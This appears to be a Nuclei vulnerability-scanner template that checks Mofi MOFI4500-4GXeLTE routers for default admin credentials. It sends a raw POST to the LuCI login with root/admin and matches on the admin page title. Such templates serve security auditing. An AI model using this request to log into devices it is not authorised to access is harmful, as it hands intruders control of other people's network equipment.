id: mofi4500-default-login

info:
  name: MOFI4500-4GXeLTE-V2 Default Login
  author: pikpikcu
  severity: high
  description: Mofi Network MOFI4500-4GXELTE wireless router default admin credentials were discovered.
  reference:
    - https://www.cleancss.com/router-default/Mofi_Network/MOFI4500-4GXELTE
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
  metadata:
    max-request: 1
  tags: mofi,default-login,vuln

http:
  - raw:
      - |
        POST /cgi-bin/luci/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username=root&password=admin

    attack: pitchfork
    payloads:
      username:
        - root
      password:
        - admin

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "MOFI4500 - General - LuCI"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100cefe575fa2570e2e4eae8237b59ab816e536395c3a9fce5cd78705874e0b1f66022012affa41b0001ab324ada7428b52adca99ec3bbf64cd5902939cab63899fefae:922c64590222798bb761d5b6d8e72950